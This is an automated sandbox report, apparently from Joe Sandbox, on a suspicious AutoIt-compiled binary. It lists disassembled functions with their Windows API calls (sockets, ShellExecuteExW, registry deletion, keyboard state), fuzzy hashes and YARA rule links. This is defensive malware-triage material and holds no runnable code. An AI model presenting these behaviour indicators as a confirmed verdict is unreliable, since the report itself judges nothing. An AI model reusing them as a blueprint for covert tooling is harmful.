Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: c117c686f56f235095b21416d6fd26c01c8e7716facf6a822e0f32e063d579f0
Instruction ID: 3ec5453af9312eeb46751d745d0a40e479421415f56444cf0eec53013bd9585a
Opcode Fuzzy Hash: c117c686f56f235095b21416d6fd26c01c8e7716facf6a822e0f32e063d579f0
Instruction Fuzzy Hash: C081D172604300BBC710EB24CD86F6BB7E8AF84724F10891CF955EB292DA71ED45DB52

Function 00EC1424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9490784fdc123d42c80e27955cee702072eb9816c57b2e4d12eb696b3882497f
Instruction ID: 3b9a0ad755d384cf2811be2cfe2f1db070e20b3d8f1129ac3e0b72c4f190bea4
Opcode Fuzzy Hash: 9490784fdc123d42c80e27955cee702072eb9816c57b2e4d12eb696b3882497f
Instruction Fuzzy Hash: 41718E34900119EFCB04DF98CD44EBEBB79FF86314F108199F915BA252C735AA52CB60

Function 00F4B351 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(01445CF8), ref: 00F4B3EB
IsWindowEnabled.USER32(01445CF8), ref: 00F4B3F7
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 00F4B4DB
SendMessageW.USER32(01445CF8,000000B0,?,?), ref: 00F4B512
IsDlgButtonChecked.USER32(?,?), ref: 00F4B54F
GetWindowLongW.USER32(01445CF8,000000EC), ref: 00F4B571
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00F4B589

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 2ef30781f8e18397a1bdc950e8ed48b285cd7cab650dc421c81cd2574595f4a4
Instruction ID: cbb13ead46e869f3e386cd82768d8ef1e4c34ca3f9ede735920c24b9669d8608
Opcode Fuzzy Hash: 2ef30781f8e18397a1bdc950e8ed48b285cd7cab650dc421c81cd2574595f4a4
Instruction Fuzzy Hash: 9B718C34A04208AFDB24DF95C894FBABFB9EF1A320F144059ED45972A3C736E951EB50

Function 00F3F41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F3F448
_memset.LIBCMT ref: 00F3F511
ShellExecuteExW.SHELL32(?), ref: 00F3F556

Part of subcall function 00EC9837: __itow.LIBCMT ref: 00EC9862
Part of subcall function 00EC9837: __swprintf.LIBCMT ref: 00EC98AC

Part of subcall function 00EDFC86: _wcscpy.LIBCMT ref: 00EDFCA9

GetProcessId.KERNEL32(00000000), ref: 00F3F5CD
CloseHandle.KERNEL32(00000000), ref: 00F3F5FC

Strings

@, xrefs: 00F3F525

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 25e7cb52d704a8fa67d8b833f440fda85fac54cfc761322bb71e143bfa62ff39
Instruction ID: 740c5c883e170b986083df09e1f840f5bbf14b506329c1046d96fcb06c5562f4
Opcode Fuzzy Hash: 25e7cb52d704a8fa67d8b833f440fda85fac54cfc761322bb71e143bfa62ff39
Instruction Fuzzy Hash: 42618A75E006199FCB04DFA4C985AAEBBF5FF49320F148069E85ABB351CB31AD45CB90

Function 00F20F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00F20F8C
GetKeyboardState.USER32(?), ref: 00F20FA1
SetKeyboardState.USER32(?), ref: 00F21002
PostMessageW.USER32(?,00000101,00000010,?), ref: 00F21030
PostMessageW.USER32(?,00000101,00000011,?), ref: 00F2104F
PostMessageW.USER32(?,00000101,00000012,?), ref: 00F21095
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00F210B8

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 24f8fc3e58e8b4d8e78c8db27be5a0a4f4e05ed9036086679d4f9bd139b2470a
Instruction ID: d1b217d36f07f5166150c591d706c5c7ae8dba8445235a30a15e8ddd94d02430
Opcode Fuzzy Hash: 24f8fc3e58e8b4d8e78c8db27be5a0a4f4e05ed9036086679d4f9bd139b2470a
Instruction Fuzzy Hash: D6513660A447E53DFB368234DC05BB6BEA9AB16310F088589F1D4458D3C6E8ECD8F765

Function 00F20D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00F20DA5
GetKeyboardState.USER32(?), ref: 00F20DBA
SetKeyboardState.USER32(?), ref: 00F20E1B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00F20E47
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00F20E64
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00F20EA8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00F20EC9

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 673251b25d04e8eca07c3da9f7f0994f9792e79597fd3ec664d697ef06cd0296
Instruction ID: 481b10fafabcf99f5c6b04066fce91515f4325d6b93baff8d318eafbdcbd1bc3
Opcode Fuzzy Hash: 673251b25d04e8eca07c3da9f7f0994f9792e79597fd3ec664d697ef06cd0296
Instruction Fuzzy Hash: 145119A29457E57DFB3243749C45B7A7F99AB06310F084889F1D44A4C3DB95ACC8F750

Function 00F255FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00F2560A
_wcsncpy.LIBCMT ref: 00F2563F
_wcsncpy.LIBCMT ref: 00F25671
_wcsncpy.LIBCMT ref: 00F256A4
_wcsncpy.LIBCMT ref: 00F256E6
_wcsncpy.LIBCMT ref: 00F25720
_wcsncpy.LIBCMT ref: 00F2574F

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 7f8630ed9f2376e0a9e29b6eeae4c4f4dde465bb6ee74ea8aa59dbbc2f02b070
Instruction ID: 7a8a828de6405a205a65c039fde1525355c9f74c2add293cc510e836071b03fb
Opcode Fuzzy Hash: 7f8630ed9f2376e0a9e29b6eeae4c4f4dde465bb6ee74ea8aa59dbbc2f02b070
Instruction Fuzzy Hash: 4B41C465C1025C76CB11EBB59C4A9CFB7FC9F04310F509866E608F3221FB34A245C7AA

Function 00F23671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00F23697,?), ref: 00F2468B

Part of subcall function 00F2466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00F23697,?), ref: 00F246A4

lstrcmpiW.KERNEL32(?,?), ref: 00F236B7
_wcscmp.LIBCMT ref: 00F236D3
MoveFileW.KERNEL32(?,?), ref: 00F236EB
_wcscat.LIBCMT ref: 00F23733
SHFileOperationW.SHELL32(?), ref: 00F2379F

Strings

\*.*, xrefs: 00F2372D

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: a8e7b64f9e9a6dcb2e9d912e70b1ce297968b98c1024e8ff1c6197854fc53a28
Instruction ID: 3a98f42f88d404ff926db6ba8f4308aa5ca7e6671cd38b9eee5bd01132979d58
Opcode Fuzzy Hash: a8e7b64f9e9a6dcb2e9d912e70b1ce297968b98c1024e8ff1c6197854fc53a28
Instruction Fuzzy Hash: DC41B6B1508358AEC751EF64D841ADF7BECEF89390F10182EF49AC3151EA38D689DB52

Function 00F47291 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F472AA
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F47351
IsMenu.USER32(?), ref: 00F47369
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00F473B1
DrawMenuBar.USER32 ref: 00F473C4

Strings

0, xrefs: 00F4729E

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 28e6cab46ce7001a1ed02ffa05b76ae3cf6e58379d6b91640339e6cb2191419f
Instruction ID: 656da461d99a6fcb3c6046accb058b4a075f038cd1833fc6c85eea6a331e97aa
Opcode Fuzzy Hash: 28e6cab46ce7001a1ed02ffa05b76ae3cf6e58379d6b91640339e6cb2191419f
Instruction Fuzzy Hash: 04411775A04308EFDB20EF60D884AAABBF8FB05320F149529FD15A7250D730AD54EF50

Function 00F40FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00F40FD4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00F40FFE
FreeLibrary.KERNEL32(00000000), ref: 00F410B5

Part of subcall function 00F40FA5: RegCloseKey.ADVAPI32(?), ref: 00F4101B
Part of subcall function 00F40FA5: FreeLibrary.KERNEL32(?), ref: 00F4106D
Part of subcall function 00F40FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00F41090

RegDeleteKeyW.ADVAPI32(?,?), ref: 00F41058

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 2726a4c91df93d57c273a951b5e82758a29910cbe0860df7e2d7f8dd24d20e05
Instruction ID: 4f58c7564507b8e16d55401d118faf0412d265e55c33fb46ca1414a84dad60ea
Opcode Fuzzy Hash: 2726a4c91df93d57c273a951b5e82758a29910cbe0860df7e2d7f8dd24d20e05
Instruction Fuzzy Hash: 41314F75D00109BFDB14DF94DC89EFFBBBCEF19350F000169E905A2141DB745E89AAA0

Function 00F462CD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00F462EC
GetWindowLongW.USER32(01445CF8,000000F0), ref: 00F4631F
GetWindowLongW.USER32(01445CF8,000000F0), ref: 00F46354
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00F46386
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00F463B0
GetWindowLongW.USER32(00000000,000000F0), ref: 00F463C1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00F463DB

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 94cb64a371e83bb20bdf050038b888a0a395bbd3732fa02b0ae0962f997fe203
Instruction ID: ec2e56acfac48f1032b6878dd32450da6f6386c1dddaf6f6325955136a3eec66
Opcode Fuzzy Hash: 94cb64a371e83bb20bdf050038b888a0a395bbd3732fa02b0ae0962f997fe203
Instruction Fuzzy Hash: BF31E335A441949FEB20CF18DC84F653BE1BB5A724F190165F905DB2B2CB71A844AB52

Function 00F1DAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F1DB2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F1DB54
SysAllocString.OLEAUT32(00000000), ref: 00F1DB57
SysAllocString.OLEAUT32(?), ref: 00F1DB75
SysFreeString.OLEAUT32(?), ref: 00F1DB7E
StringFromGUID2.OLE32(?,?,00000028), ref: 00F1DBA3
SysAllocString.OLEAUT32(?), ref: 00F1DBB1

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 82dfd3294b6dc1f7fe1d7fde4708df97990dc6a90dc4b296cd5205f1f40d0baa
Instruction ID: f5d357029e6c813e63fdd903588549fc818b21c692605fb64c52a21dd8a6f83a
Opcode Fuzzy Hash: 82dfd3294b6dc1f7fe1d7fde4708df97990dc6a90dc4b296cd5205f1f40d0baa
Instruction Fuzzy Hash: F5218B76A05219AF9B10DFA9DC88CEB73ACEB49360B018125FD19DB260DA709C85A760

Function 00F36173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00F37D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00F37DB6

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00F361C6
WSAGetLastError.WSOCK32(00000000), ref: 00F361D5
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00F3620E
connect.WSOCK32(00000000,?,00000010), ref: 00F36217
WSAGetLastError.WSOCK32 ref: 00F36221
closesocket.WSOCK32(00000000), ref: 00F3624A
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00F36263

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 8c3f06a9cbd16a2e5b2db6e5a906e587621758652ad26905684afaed29f2c978
Instruction ID: 3d02f4947e1b41dceac7e71462ab1158f69829fe169e6350c7bcbed51997d22a
Opcode Fuzzy Hash: 8c3f06a9cbd16a2e5b2db6e5a906e587621758652ad26905684afaed29f2c978
Instruction Fuzzy Hash: 1731A475600118AFDF10AF24CC85FBE7BA9EB45734F058029FD05E7292CB74AC44AB61

Function 00F1F65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00F1F671
__wcsnicmp.LIBCMT ref: 00F1F692
__wcsnicmp.LIBCMT ref: 00F1F6AC

Strings

#requireadmin, xrefs: 00F1F68C
#OnAutoItStartRegister, xrefs: 00F1F6A6
#notrayicon, xrefs: 00F1F669

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: a94a6eb5d193318fd889496044db997ac4b28cde00cc87a3208dbb86de66a086
Instruction ID: 9cd3c0a11ca7fd45c47b9257aa3f1f635b1bf755109cff3363fc30775c021bf6
Opcode Fuzzy Hash: a94a6eb5d193318fd889496044db997ac4b28cde00cc87a3208dbb86de66a086
Instruction Fuzzy Hash: B721797260465166D320AA35AC03FE773D8EF5A320F24403AF946D71A1EB519DCAE395

Function 00F1DBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F1DC09
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F1DC2F
SysAllocString.OLEAUT32(00000000), ref: 00F1DC32
SysAllocString.OLEAUT32 ref: 00F1DC53
SysFreeString.OLEAUT32 ref: 00F1DC5C
StringFromGUID2.OLE32(?,?,00000028), ref: 00F1DC76
SysAllocString.OLEAUT32(?), ref: 00F1DC84

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 77f16aeaefe1fe1acdf6c2ad96651e2c91251832390615e12ed966b2d93792df
Instruction ID: 99b545bd73a0e44fd91e8f21089215cc99255b3c7f5be05769950349de47c490
Opcode Fuzzy Hash: 77f16aeaefe1fe1acdf6c2ad96651e2c91251832390615e12ed966b2d93792df
Instruction Fuzzy Hash: 33217436604208AFDB10DFA9DC88DAB77ECEB19370B108525FD15CB260DAB0DC85E7A4

Function 00F475CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00EC1D73
Part of subcall function 00EC1D35: GetStockObject.GDI32(00000011), ref: 00EC1D87
Part of subcall function 00EC1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00EC1D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00F47632
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00F4763F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00F4764A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00F47659
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00F47665

Strings

Msctls_Progress32, xrefs: 00F47603

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 5d88a1fa68c57c637f5d2ab4862e7fa1d52ef724914d32f3573a67d968979709
Instruction ID: 8d7bcabb13f54b574841bf7650ba69cc5368d081f5bc97bb8eeebcbcdcdd6c41
Opcode Fuzzy Hash: 5d88a1fa68c57c637f5d2ab4862e7fa1d52ef724914d32f3573a67d968979709
Instruction Fuzzy Hash: 3411B6B211021DBFEF119F64CC85EE77F6DEF08798F014115BA08A2060CB729C21EBA4

Function 00EE9AE6 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00EE9AE6

Part of subcall function 00EE3187: EncodePointer.KERNEL32(00000000), ref: 00EE318A
Part of subcall function 00EE3187: __initp_misc_winsig.LIBCMT ref: 00EE31A5
Part of subcall function 00EE3187: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00EE9EA0
Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00EE9EB4
Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00EE9EC7
Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00EE9EDA
Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00EE9EED
Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00EE9F00
Part of subcall function 00EE3187: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00EE9F13
